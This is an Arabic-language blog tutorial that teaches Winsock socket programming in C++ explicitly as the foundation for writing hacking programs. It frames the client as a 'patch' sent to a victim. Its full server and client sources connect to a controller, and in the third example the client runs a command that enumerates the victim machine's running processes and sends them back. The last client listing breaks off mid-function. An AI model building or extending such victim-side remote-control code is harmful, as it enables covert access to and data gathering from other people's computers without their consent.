الاثنين، 13 يناير 2014

دورة: شرح لمبدأ عمل الـ Sockets ,, وكيفية كتابة برامج الاختراق ابتداءاً من الصفر بلغة ++C

السلام عليكم ورحمة الله وبركاته ,,, 

كيف حالكم ايها الابطال ,,

اليوم لدينا موضوع مشوق لكي نتحدث عنه ,,
وهو عن الـ Sockets وكيفية التعامل معها ,,
وكيف هي تكون بمثابة النواة لبرامج الاختراق 


والموضوع سوف يكون مقسم الى فصول:

الفصل الاول نستعرض به ماهي ديناميكية عمل برامج الاختراق ,, ماهي الدوال التي سوف نستخدمها,,وماذا تعني ,,ومتى ولماذا نستخدمها ,, 


الفصل الثاني هو شرح عملي لكتابة واستدعاء هذه الدوال ,, وماذا تحتاج من براميترات مهمة ,, وما الى ذلك ...


الفصل الثالث والاخير هو امثلة تطبيقية على ما تعلمناه سوية في هذا الشرح ,,تقوم بتطبيقهم بنفسك حتى تترسخ المعلومات لديك بشكل جيد .. 



لن اطيل اكثر بالمقدمات لكي احافظ على طاقتي الكامنة التي احتاجها لاتمام الموضوع 



(ملاحظة: بالموضوع جميع ماسوف نستعرضه هو عن Windos Sockets 2
وجميع الاكواد هي بلغة الـ 
++C ,,وبالاصل winsock 2 هي مخصصة للغة ++C/C)










الجزء الاول من الفصل الاول (رؤوس اقلام) :


برامج الاختراق هي مشاريع كبيرة وطويلة واحيانا قد تكون معقدة بنسبة تصل الى 99% لدى قارئ السورس المبتدئ ,,
لكن عند فهمك لمبدأ العمل بشكل دقيق واعطائه حقه ووقته المناسب
 ,,
هذه النسبة قد تنزل الى 40% او حتى الى 20% ,,



دعنا نتفق على بعض المسميات ,, 

Socket : هذا المصطلح بالعربية هو يعني مقبس ,, يقوم بالربط بين شيئين بشكل عام ,,

ولكي تزيل اللبلس في فهم هذا المصطلح تخيل معي ابسط مثال له وهو لمبة الكهرباءبالغرفة ,, تكون مكونة من سلك كهربائي منسدل من السقف ومتصل بـ لمبة ,, ويتوسط بينهم سوكة (احنا بنسميها بالعاميةوهي التي تربط السلك باللمبة لكي تمدها بالتيار المطلوب ,, والسوكة هنا تعني Socket 

اما الـ Socket برمجيا في موضوعنا فهو سيكون لربط برنامجين مختلفين باتصال مباشر ولنقل وارسال البيانات.


Server: سوف نقصد به الخادم الرئيسي ,, المستضيف ,, يستقبل الـClients ,, ويصدر لهم الأوامر لكي قوموا بتنفيذها ,, وهنا في هذا الموضوع لاتخلط بين مصطلح Server وبين مصطلح الباتش ,,

Client: سوف نقصد به هو العميل المستقل ,, الذي يقوم بالاتصال بالـ Server ,,ويستقبل اوامر الـ Server وينفذها ,, 



لذلك الحوارفي برامج الاختراق هو:انت (الهاكرتكون الـServer ,,تقوم بفتح برنامج الاختراق وتبدأ التنصت على بورت معين ,, وتبدأ باستقبالالضحايا/Clients ,,وتقوم بارسال اوامر لهم وهم يقوموابالتنفيذ لك ,, 


على سبيل المثالعندماتقوم بفتح التاسك مناجر لدى الضحية ,, فعليا مايحصل هو ان برنامج الاختراق/الـServer هو يقوم بارسال امر الى الـ الضحية/Client يخبره بأني اريد ان اشاهد التاسك مناجر لديك ايها العميل ,,
فيقوم 
الضحية/الـClient بجلب عمليات التاسك في الجهاز ويقوم بارسالها الى الـServer/برنامج الاختراق ,,
بعد ذلك يقوم برنامج الاختراق بتنسيق اسماء تلك العمليات ويظهرها لك في مستطيل بشكل سلس وسهل القراءة ,, اسم العملية - ايدي/PID العملية - مسار العملية - الخ...

على سبيل المثال ايضا: عندما تقوم بعمل قتل/Kill لاحدى عمليات التاسك لدىالضحية ,,
فعليا 
برنامج الاختراق/Server يقوم بارسال امر الى الباتش/Client يخبره ان يقتل العملية الفلانية ويرسل له PID/ايدي العملية لكي يحددها له ,,ويقوم الباتش بالتنفيذ ,, 



بمعنى ان كل مافي الامر ,, عملية الاختراق هنا لدينا هي مجرد عملية تواصل بين برنامجين ,, هما الـServer والـClient ,, 
برنامج يرسل اوامر ,, وبرنامج اخر مبرمج لكي يستقبل هذه الاوامر ويميزها ويقوم بتنفيذها ,, 


وعملية الارسال والاستقبال تكون عن طريق الـSockets ,, يتم انشاء اتصال بين الـServer والـClient ,, بعد تأسيس الاتصال يتم ارسال الاوامر واستقبال نتائجها في Packets .. 














الجزء الثاني من الفصل الاول (الدوال المستخدمة) :
الدوال البرمجة الخاصة بمكتبة winsock التي سوف نستخدمها:للتنصت على البورت ,, واستقبال الاتصالات الواردة ,, وانشاء الاتصال بين السيرفر والعميل ,, وارسال واستقبال الحزم البيانية ,, 


1- دالة WSAStartup : وهي دالة روتينية وظيفتها تقوم بتجهيز المكتبة الخاصة بالـwinsock وتهيألها للاستخدام.
(هذه الدالة هي مهمة جدا ويجب استدعائها قبل طلب اي دالة اخرى خاصة بالـ winsock)


2- دالة socket : وهي دالة تقوم بانشاء سوكت ,, لكي نأسس الاتصال عن طريقه .


3- دالة bind وهي لربط السوكت مع عنوان وبورت معين.
(وهي الخطوة التي تسبق عملية التنصت على البورت في آلية عمل الـServer).


4- دالة listen وهي تسمح لنا بالبدء بالتنصت على عنوان وبورت معين لكي نستقبل الاتصالات الواردة عليه فيما بعد.
(في برامج الاختراق التنصت يتم فقط على بورت معين اما العنوان فلا نحدد عنوان ادريس معين لكي نستقبل كل الاتصالات الواردة على البورت المعني مثل 81).


5- دالة accept وهي دالة نستخدمها لاستقبال الاتصالات الواردة لدينا بعد ما نكون اجهزنا عملية التنصت على البورت.


6- دالة connect وهي دالة نستخدمها للاتصال المباشر بعنوان/ادريس/ايبي معين
(هذه الدالة تحتاج لتعبئة ستركتر خاص بها يحتوي على معلومات الاتصال الذي تريد انشاؤه ,, العنوان - البورت - ونوع الاتصال).


7- دالة inet_addr : وهي دالة ترجعلنا بستركتر نستخدمها قبل انشاء الاتصال لتحويل ايبي معين مثل 186.24.245.23الى عنوان يفهمه الحاسوب الآلي لكي يتسطيع الاتصال به.



8- دالة gethostbyname وهي دالة ايضا ترجعلنا بستركتر يحوي معلومات شبيهة بالدالة السابقة ,, لكن هذي سوف نستخدمها عندما نحاول الاتصال بهوست وليس ايبي ,, مثل Myhost.no-ip.com.


9- دالة htons وهي ايضا دالة سوف نستخدمها قبل انشاء الاتصال بتحويل بورت معين زي 81 الى رقم اخر يفهمه الحاسب ويستطيع الاتصال به .


10- دالة recv وهي دالة نستخدمها لاستقبال الحزم البيانية / Packets .


11- دالة send وهي دالة نستخدمها لارسال الحزم البيانية / Packets .


12- دالة closesocket وهي دالة نستخدمها لإغلاق السوكت عند الانتهاء منه.


13- دالة WSACleanup وهي دالة روتينية كما الحال في الدالة رقم 1,, لكن هذه نستخدمها عند الانتهاء تماما من مكتبة الـwinsock 

لاحظ ان معظم الدوال نستطيع فهم عملها بمجرد قرائة اسمها ,,











الجزء الثالث من الفصل الاول
(
كيف نستخدم الدوال):

نحن اصبح لدينا نظرة عامة عن الحوار الذي يدور بين الـServer والـClient ,, 

والقينا نظرة سريعة عن ما سوف نستخدمه من دوال في مشروع كتابة برنامج الاختراق ... 

الآن سوف نتطرق الى آلية العمل والتنفيذ لكل من السيرفر والعميل ,, 



اولا السيرفر / Server :

الحوار اللذي سوف يقوم به السيرفر هو متسلسل كالتالي :
اولانقوم بطلب دالة WSAStartup لتجهيز مكتبة الوينسوك قبل كل شيء.

ثانيانطلب دالةsocket لانشاء سوكت .
ثالثانطلب دالةbind لكي نربط السوكت مع بورت معين .

رابعانطلب دالة listen لكي نقوم بالتنصت على البورت المعين.

خامسانطلب دالة accept لكي نقوم باستقبال الاتصالات الواردة لدينا على البورت

بعد ذلك نكون نحن جاهزين لاستخدام دالة recv ودالة send لكي نرسل ونستقبل البيانات مع العميل او الباتش .


وعندما ننتهي من العمل نقوم باغلاق السوكت عن طريق دالة closesocket ,,ثم الخطوة النهائية وهي طلب دالة WSACleanup لكي تقوم بانهاء عمل مكتبة وينسوك.



ثانيا العميل / Client

اولانقوم بطلب دالة WSAStartup لتجهيز مكتبة الوينسوك قبل كل شيء.

ثانيانطلب دالةsocket لانشاء سوكت .

ثالثانقوم بطلب دالة inet_addr اذا كنا نريد الاتصال بأيبي...
او 
دالة gethostbyname اذا كنا نريد الاتصال بهوست نوايبي ,,
ومن ثم نقوم بتحويل البورت الى network byte oder وهو رقم يستطيع فهمه الحاسب الآلي عن طريقدالة htons ,,

الخطوة الثالثة هي فقط لتعبئة البيانات المطلوبة لانشاء الاتصال بالسيرفر.

رابعانطلب دالة connect لكي نقوم بتأسيس الاتصال مع السيرفر .

بعد ذلك نكون نحن جاهزين لاستخدام دالة recv ودالة send لكي نرسل ونستقبل البيانات مع السيرفر.


لاحظ تسلسل الخطوات في برنامج السيرفر ,, وفي برنامج الـClient ,, 

الـClient خطواته هي اقل ,, وهدفه باختصار ان يقوم بانشاء سوكت ثم يقوم بتأسسيس الاتصال.. 

بينما في الـServer الخطوات اكثر قليلا ,, لاننا لا نريد الاتصال بأحد ,,نريد عمل تنصت على البورت ونستقبل الاتصالات الواردة ,, 

لذلك نقوم بانشاء سوكت ,, ثم نربط السوكت على البورت ,,ثم نقوم بعمل تنصت ,, ثم نستقبل المتصلين بنا ,, 


تسلسل الخطوات منطقي,, لذلك احفظهم عن فهم ,,









الفصل الثاني (البدء في كتابة الكود):


دائما وقبل كل شيء ,, اول خطوة هي WSAStartup

لاحظ معي هذا الكود:

دالة WSAStartup هي من نوع int
لذلك عرفنا int Error واسندنا له القيمة الراجعة من طلب هذه الدالة...
الدالة تأخد عدد 2 براميترات :
البراميتر الاول وهو اصدار الوينسوك الذي نريده ,, 
كود:
MAKEWORD(2, 2) =====   تعني الاصدار 2.2
البراميتر الثاني هو مؤشر لستركتر WSADATA نمررله لكي نستقبل عليه معلومات الـ winsock عند نجاح الدالة .. ونحن لن نتطرق لهذه المعلومات الراجعة ولسنا معنيين بها.. 
لذلك البراميتر الثاني مررناه بهذا الشكل
كود:
WSAData WsaInfo;
Error = WSAStartup(MAKEWORD(2, 2), &WsaInfo);
في حالة نجاح الدالة القيمة الراجعة هي 0 دائما ,, 
اذا كانت غير 0 يكون هناك خطأ قد حدث ,, 


ولمعرفة الخطأ بالتفصيل نستطيع الاستعلام عنه بدالة WSAGetLastError
(لكن انا لن اطيل الكود اكثر لجلب الخطأ وتعريفه لكي يكون سهل القرائة,, ومن النادر ان يحدث اخطاء في هذه الدالة الا اذا كان هناك مشاكل فعلية بجهازك)



الآن دعنا نطيل الكود قليلا :
لاحظ معي :

شو اللي صار هون ؟؟؟
اول شي عملنا WSAStartup .

الخطوة الثانية قمنا بانشاء سوكت ..
كود:
    SOCKET DevSocket;
    DevSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
الدالة تأخد 3 براميترات:
البراميتر الاول وهو الـ Adress Family ودائما خليه AF_INET
البراميتر الثاني هو نوع السوكت و SOCK_STREAM تعني اتصال TCP
هناك انواع اخرى مثل SOCK_DGRAM لاتصال الـ UDP لكن احنا بنستخدم TCP دائما.

البراميتر الثالث وهو البروتوكول,, IPPROTO_TCP خليها هيك دائما لما نختار نوع السوكت TCP .


الخطوة الثالثة بعد ما انشأنا السوكت قمنا بإغلاقه : 
كود:
closesocket(DevSocket);
والخطوة الرابعة قمنا بانهاء عمل الوينسوك
كود:
WSACleanup();
كل شي بسيط اليس كذلك ... 



دعنا نتوسع ونطيل اكثر في الكود...
والآن سوف نكتب برنامج الـ Server 
وسوف اكتب جميع خطواته بطريقة متسلسلة وسهلة وبسيطة,,
وسوف اترك التعليقات على الكود في الصورة لكي تكون قريبة اكثر...

لاحظ معي:


تم تصغير حجم الصورة تلقائياً لسهولة التصفّح , اضغط هنا لمشاهدتها بالحجم الطبيعي 869x559.


خطوات واضحة وسهلة اليس كذلك
انشأنا سوكت
قمنا بربط هذا السوكت مع بورت 9119
قمنا بالتنصت على البورت
قمنا باستقبال الضحايا على البورت
اغلقنا السوكت
انهينا عمل الوينسوك




الآن يأتي دور برنامج الـ Client
وهو الباتش الذي سوف تكتبه وتقوم بارساله للضحية
ايضا رح اترك التعليقات بالصور لكي تكون اقرب

لاحظ معي:
تم تصغير حجم الصورة تلقائياً لسهولة التصفّح , اضغط هنا لمشاهدتها بالحجم الطبيعي 645x465.
تم تصغير حجم الصورة تلقائياً لسهولة التصفّح , اضغط هنا لمشاهدتها بالحجم الطبيعي 978x533.


شو اللي عملناه ؟؟
انشأنا سوكت
اتصلنا بعنوان
اغلقنا السوكت
خطوات قليلة


باقي لنا شرح استخدام دالة send و recv 
ورح نتناولها بالفصل الثالث.. 













الفصل الثالث (امثلة عملية):


اول شي رح نشرح دالتين متشابهين جدا وسهلين جدا

اولا دالة recv
لاحظ شرحها :




ثانيا دالة send 
لاحظ شرحها:


متشابهين اليس كذلك ؟







المثال الاول :
(ارسال رسالة)
مثالنا عبارة عن برنامجين:
الاول هو السيرفر: سوف يقوم باستقبال الضحية/Client . وسوف يستقبل منه رسالة ويرد عليه برسالة اخرى.

الثاني هو الضحية: سوف يقوم بالاتصال بالسيرفر ,, ثم سوف يرسل له رسالة ,, وسوف يستقبل رده على الرسالة .

سورس كود السيرفر:

كود:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
SOCKET StartServer(unsigned short port);
void EndServer(SOCKET socket);



int main()
{

    SOCKET serverSocket;
    serverSocket = StartServer(9119);

    if (serverSocket == -1) //if error happen
        return 1;


    SOCKET  clientSocket;
    clientSocket = accept(serverSocket, 0, 0); // Accept The Client

    if (clientSocket == INVALID_SOCKET)
    {
        printf("Server: can't accept the victim...\n");
    }

    int bytes;

    char in [256]    = "";
    char out[]        = "Thank You i Got Your Message";

    
    bytes = recv(clientSocket,  // socket of client
                            in,  //buffer to hold data
                            sizeof(in),  //size of buffer 
                            0); // flags,, leave it 0

    if(bytes == SOCKET_ERROR) 
    {
        closesocket(clientSocket); 
        return 1; 
    }

    printf("\n[+] Recv Msg From Client...\n\t--> [%s]\n",in);


    bytes = send(clientSocket, //socket of client
                            out, //buffer of data
                            sizeof(out), //sizeof buffer
                            0);         // leave it 0
    if(bytes != SOCKET_ERROR)
        printf("\n[+] Sending Msg to Client...\n\t--> [%s]\n",out);


    closesocket(clientSocket);
    EndServer(serverSocket); // Shut down the server

    getchar();
    return 0;
}


SOCKET StartServer(unsigned short port)
{
    WSAData wsaData;
    int err = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (err != 0)
    {
        printf("[-] Server: Error On WSAStartup()!\n");
        return -1;
    }

    SOCKET mySocket = socket(AF_INET, SOCK_STREAM, 0);

    if (mySocket == INVALID_SOCKET)
    {
        printf("[-] Server: Error On socket()!\n");
        return -1;
    }

    struct sockaddr_in server;

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;

    if (bind(mySocket, (sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
    {
        printf("[-] Server: Error On bind()!\n");
        closesocket(mySocket);
        return -1;
    }

    if (listen(mySocket, 5) == SOCKET_ERROR)
    {
        printf("[-] Server: Error On listen()!\n");
        closesocket(mySocket);
        return -1;
    }

    printf("[+] Server: Up and Ready To Accept Connections...\n\n\n");

    return mySocket;
}

void EndServer(SOCKET socket)
{
    closesocket(socket);

    WSACleanup();

    printf("\n\n[+] Server: Server Shutting down.\n");
}



سورس كود الـ Client:
كود:
#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <stdio.h>
SOCKET StartClient(unsigned short port, char* serverName);
void EndClient(SOCKET clientSocket);


int main()
{
    printf("[+] We Goin To Send Msg to the Server...\n");

    SOCKET mySocket;
    mySocket = StartClient(9119, "localhost");

    if (mySocket == -1)
    {
        printf("[-] Failed to connect to Server...\t(Error: %d)\n",WSAGetLastError());
        EndClient(mySocket);
        return 1;
    }
    else
        printf("[+] Connected To Server.\t(Success)\n");


    // after we connect ,, sending msg time
    int bytes;
    char out []        = "Hello iam your Victim";
    char in     [256]    = "";

    bytes = send(mySocket, out, sizeof(out), 0);
    if(bytes != SOCKET_ERROR)
    {
        printf("\n\n[+] Sending Msg..\n\t--> [%s]\n",out);

        bytes = recv(mySocket,  // socket of client
                            in,  //buffer to hold data
                    sizeof(in),  //size of buffer 
                            0); // flags,, leave it 0

        if (bytes != SOCKET_ERROR)
            printf("[+] Server Sent Back:\n\t--> [%s]\n", in);
    }


    EndClient(mySocket);    
    getchar();
    
    return 0;
}


SOCKET StartClient(unsigned short port, char* serverName)
{
    WSAData wsaData;
    int err;
    err = WSAStartup(MAKEWORD(2, 2), &wsaData);

    if (err != 0)
    {
        printf("[-] Me: Winsocks cant startup... [%d]\n",WSAGetLastError());
        return -1;
    }

    SOCKET mySocket = socket(AF_INET, SOCK_STREAM, 0);

    if (mySocket == INVALID_SOCKET)
    {
        printf("[-] Failed to create socket...[%d]\n",WSAGetLastError());
        return -1;
    }

    struct hostent *host_entry;
    host_entry = gethostbyname(serverName);

    if (host_entry == NULL)
    {
        printf("[-] gethostbyname() error...[%d]\n",WSAGetLastError());
        return -1;
    }

    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;

    err = connect(mySocket, (sockaddr*)&server, sizeof(server));
    if(err == SOCKET_ERROR)
    {
        printf("[-] connect() error...[%d]\n",WSAGetLastError());
        return -1;
    }

    return mySocket;
}


void EndClient(SOCKET clientSocket)
{
    closesocket(clientSocket);
    WSACleanup();
    printf("\n [+] Disconnected From Server.\t(Shutdown)\n");
}




المثال الثاني :
(محادثة)

مثالنا عبارة عن برنامجين ايضا ودوما لابد ان يكونوا برنامجين:

الاول هو السيرفر: سوف يقوم باستقبال الضحية/Client . وسوف يستقبل منه رسالة ويرد عليه ببعض الاسئلة ويقوم بمحادثة الضحية.

الثاني هو الضحية: سوف يقوم بالاتصال بالسيرفر ,, ثم سوف يرسل له رسالة ,, وسوف يستقبل رده على الرسالة, وسوف يجاوب على بعض الاسئلة التي يسأله بها السيرفر.

سورس كود السيرفر

كود:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
SOCKET StartServer(unsigned short port);
void EndServer(SOCKET socket);


int main()
{

    SOCKET serverSocket;

    serverSocket = StartServer(9119);
    if (serverSocket == -1)
        return 1;

    SOCKET clientSocket;
    clientSocket = accept(serverSocket, 0, 0); // Accept The Client

    if (clientSocket == SOCKET_ERROR)
    {
        printf("Server: can't accept the victim...\n");
    }

    int Bytes;    

    char in [256] = "";
    char out[256] = "";
    char name[50];

    Bytes = recv(clientSocket, in, sizeof(in), 0); 
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; };
    printf("\n+ [???] Says: %s\n",in);

    Sleep(1000);
    sprintf(out, "WHO ARE YOU ? Whats Your Name !???");
    Bytes = send(clientSocket, out, sizeof(out), 0);
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; };
    printf("\n+ [SERVER] Says: %s\n",out);

    Bytes = recv(clientSocket, in, sizeof(in), 0); 
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; };
    printf("\n+ [???] Says: %s\n",in);
    sprintf(name,"%s",in);

    Sleep(2000);
    _snprintf(out,sizeof(out), "Hmmm, its nice to meet you here %s\n\t\tNow Tell Me do you understand how Sockets Work?",name);
    Bytes = send(clientSocket, out, sizeof(out), 0);
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; };
    printf("\n+ [SERVER] Says: %s\n",out);

    Bytes = recv(clientSocket, in, sizeof(in), 0); 
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; };
    printf("\n+ [%s] Says: %s\n",name,in);

    Sleep(1600);
    strcpy(out,"Sockets made eazy with such Powerfull Language [C++],\n\t\tJust All you need is to spend some time on it to\
                learn..\n\t\tDo you Agree?");
    Bytes = send(clientSocket, out, sizeof(out), 0);
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; };
    printf("\n+ [SERVER] Says: %s\n",out);

    Bytes = recv(clientSocket, in, sizeof(in), 0); 
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; };
    printf("\n+ [%s] Says: %s\n",name,in);

    Sleep(1800);
    _snprintf(out,sizeof(out), "Alright Mr.%s,  i gotta go.. we must meet again and have fun.\n\t\t Byeeee <3",name);
    Bytes = send(clientSocket, out, sizeof(out), 0);
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; };
    printf("\n+ [SERVER] Says: %s\n",out);

    closesocket(clientSocket);

    EndServer(serverSocket); // Shut down

    getchar();
    
    return 0;
}




SOCKET StartServer(unsigned short port)
{
    WSAData wsaData;
    int err = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (err != 0)
    {
        printf("[-] Server: Error On WSAStartup()!\n");
        return -1;
    }

    SOCKET mySocket = socket(AF_INET, SOCK_STREAM, 0);

    if (mySocket == INVALID_SOCKET)
    {
        printf("[-] Server: Error On socket()!\n");
        return -1;
    }

    struct sockaddr_in server;

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;

    if (bind(mySocket, (sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
    {
        printf("[-] Server: Error On bind()!\n");
        closesocket(mySocket);
        return -1;
    }

    if (listen(mySocket, SOMAXCONN) == SOCKET_ERROR)
    {
        printf("[-] Server: Error On listen()!\n");
        closesocket(mySocket);
        return -1;
    }

    printf("[+] Server: Up and Ready To Accept Connections...\n\n\n");

    return mySocket;
}

void EndServer(SOCKET socket)
{
    closesocket(socket);

    WSACleanup();

    printf("\n\n[+] Server: Server Shutting down.\n");
}




سورس كود الـ Client

كود:
#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <stdio.h>
SOCKET StartClient(unsigned short port, char* serverName);
void EndClient(SOCKET clientSocket);


int main()
{
    int i = 0;
    printf("[+] We Goin To Start Chat With The Server...\n");

    SOCKET mySocket;
    mySocket = StartClient(9119, "localhost"); // Port 7700

    if (mySocket == -1)
        return 1;

    printf("[+] Connected To Server.\t(Success)\n");

    int bytes;
    char msg    [256] = "";
    char answer    [100] = "";

    printf("[+] Say (Hi) To Start Chatting...\n\n\n\n");
    while(i == 0)
    {
        printf("\n+ [Me] Says: ");
        gets(answer);
        bytes = send(mySocket, answer, sizeof(answer), 0);
        if (bytes == SOCKET_ERROR)
            continue;

        bytes = recv(mySocket, msg, sizeof(msg), 0); // Get a message from server.
        if (bytes == SOCKET_ERROR)
            continue;
        else
        {
            if(strstr(msg,"Bye"))
                i++;

            printf("\n+ [SERVER] Says: %s\n", msg);
        }
    }

    EndClient(mySocket);    

    printf("Press any key to Exit\t(END)\n");
    getchar();
    
    return 0;
}




SOCKET StartClient(unsigned short port, char* serverName)
{
    WSAData wsaData;
    int err;
    err = WSAStartup(MAKEWORD(2, 2), &wsaData);

    if (err != 0)
    {
        printf("[-] Me: Winsocks cant startup... [%d]\n",WSAGetLastError());
        return -1;
    }

    SOCKET mySocket = socket(AF_INET, SOCK_STREAM, 0);

    if (mySocket == INVALID_SOCKET)
    {
        printf("[-] Failed to create socket...[%d]\n",WSAGetLastError());
        return -1;
    }

    struct hostent *host_entry;
    host_entry = gethostbyname(serverName);

    if (host_entry == NULL)
    {
        printf("[-] gethostbyname() error...[%d]\n",WSAGetLastError());
        return -1;
    }

    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;

    err = connect(mySocket, (sockaddr*)&server, sizeof(server));
    if(err == SOCKET_ERROR)
    {
        printf("[-] connect() error...[%d]\n",WSAGetLastError());
        return -1;
    }

    return mySocket;
}


void EndClient(SOCKET clientSocket)
{
    closesocket(clientSocket);
    WSACleanup();
    printf("\n [+] Disconnected From Server.\t(Shutdown)\n");
}







المثال الثالث :
(تنفيذ امر)


السيرفر: سوف يقوم باستقبال الضحية/Client . وسوف يرسل له امر GetTaskManager , وسوف ينتظر الضحية لكي يرسل له معلومات التاسك مناجر لديه.

الضحية: سوف يقوم بالاتصال بالسيرفر ,, سوف يستقبل الامر ,, وسوف يجلب اسماء عمليات التاسك ويرسلها للسيرفر.


سورس كود السيرفر
كود:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
SOCKET StartServer(unsigned short port);
void EndServer(SOCKET socket);


int main()
{

    SOCKET serverSocket;

    serverSocket = StartServer(9119);
    if (serverSocket == -1)
        return 1;

    SOCKET clientSocket;
    clientSocket = accept(serverSocket, 0, 0); // Accept The Client

    if (clientSocket == SOCKET_ERROR)
    {
        printf("Server: can't accept the victim...\n");
    }
    else
        printf("[+] Victim Connected!...\n");


    int Bytes;    

    char in [256] = "";
    char CMD[] = "GetTaskManager";

    Sleep(3000);
    Bytes = send(clientSocket, CMD, sizeof(CMD), 0);
    if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; }
    else
        printf("[+] CMD Sent to Victim --> [%s]\n",CMD);

    int i = 1;
    printf("\n\n* Task Process's on Victim PC:\n");
    while(1)
    {
        Bytes = recv(clientSocket, in, sizeof(in), 0); 
        if(Bytes == SOCKET_ERROR) { closesocket(clientSocket); return 1; }
        else
        {
            if(!strcmp(in,"done!"))
                break;

            printf("%d- %s\n",i,in);
            i++;
        }
    }

    closesocket(clientSocket);

    EndServer(serverSocket); // Shut down

    getchar();
    
    return 0;
}




SOCKET StartServer(unsigned short port)
{
    WSAData wsaData;
    int err = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (err != 0)
    {
        printf("[-] Server: Error On WSAStartup()!\n");
        return -1;
    }

    SOCKET mySocket = socket(AF_INET, SOCK_STREAM, 0);

    if (mySocket == INVALID_SOCKET)
    {
        printf("[-] Server: Error On socket()!\n");
        return -1;
    }

    struct sockaddr_in server;

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = INADDR_ANY;

    if (bind(mySocket, (sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
    {
        printf("[-] Server: Error On bind()!\n");
        closesocket(mySocket);
        return -1;
    }

    if (listen(mySocket, 5) == SOCKET_ERROR)
    {
        printf("[-] Server: Error On listen()!\n");
        closesocket(mySocket);
        return -1;
    }

    printf("[+] Server: Up and Ready To Accept Connections...\n\n\n");

    return mySocket;
}

void EndServer(SOCKET socket)
{
    closesocket(socket);

    WSACleanup();

    printf("\n\n[+] Server: Server Shutting down.\n");
}



سورس كود الـ Client
كود:
#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <stdio.h>
#include <TlHelp32.h>
SOCKET StartClient(unsigned short port, char* serverName);
void EndClient(SOCKET clientSocket);
int SendTaskmanager(SOCKET socket);


int main()
{

    SOCKET mySocket;
    mySocket = StartClient(9119, "localhost"); // Port 7700

    if (mySocket == -1)
        return 1;

    printf("[+] Connected To Server.\t(Success)\n");

    int bytes;
    char msg    [256] = "";
    char CMD[] = "GetTaskManager";


    bytes = recv(mySocket, msg, sizeof(msg), 0); // Get a message from server.
    if (bytes != SOCKET_ERROR)
    {
        if(!strcmp(msg,CMD))
        {
            printf("[+] Recv [%s] !!\n",CMD);
            SendTaskmanager(mySocket);
        }
        printf("[+] Done Sending Task Process's\n");
    }

    EndClient(mySocket);    

    printf("Press any key to Exit\t(END)\n");
    getchar();
    
    return 0;
}

int SendTaskmanager(SOCKET socket)
{
    char tmp[256];
    PROCESSENTRY32 pe; 
    HANDLE thSnapShot; 
    BOOL retval, ProcFound = FALSE; 

    thSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
    if(thSnapShot == INVALID_HANDLE_VALUE) 
    { 
        return FALSE; 
    } 

    pe.dwSize = sizeof(PROCESSENTRY32); 
    
    retval = Process32First(thSnapShot, &pe); 
    while(retval) 
    {
        _snprintf(tmp,sizeof(tmp), "%s [PID: %d]",pe.szExeFile,pe.th32ProcessID);
        send(socket, tmp, sizeof(tmp), 0);
        Sleep(600);
        retval = Process32Next(thSnapShot, &pe); 
    }
    send(socket, "done!", 6, 0);
    return 0;
}


SOCKET StartClient(unsigned short port, char* serverName)
{
    WSAData wsaData;
    int err;
    err = WSAStartup(MAKEWORD(2, 2), &wsaData);

    if (err != 0)
    {
        printf("[-] Me: Winsocks cant startup... [%d]\n",WSAGetLastError());
        return -1;
    }

    SOCKET mySocket = socket(AF_INET, SOCK_STREAM, 0);

    if (mySocket == INVALID_SOCKET)
    {
        printf("[-] Failed to create socket...[%d]\n",WSAGetLastError());
        return -1;

0 التعليقات:

إرسال تعليق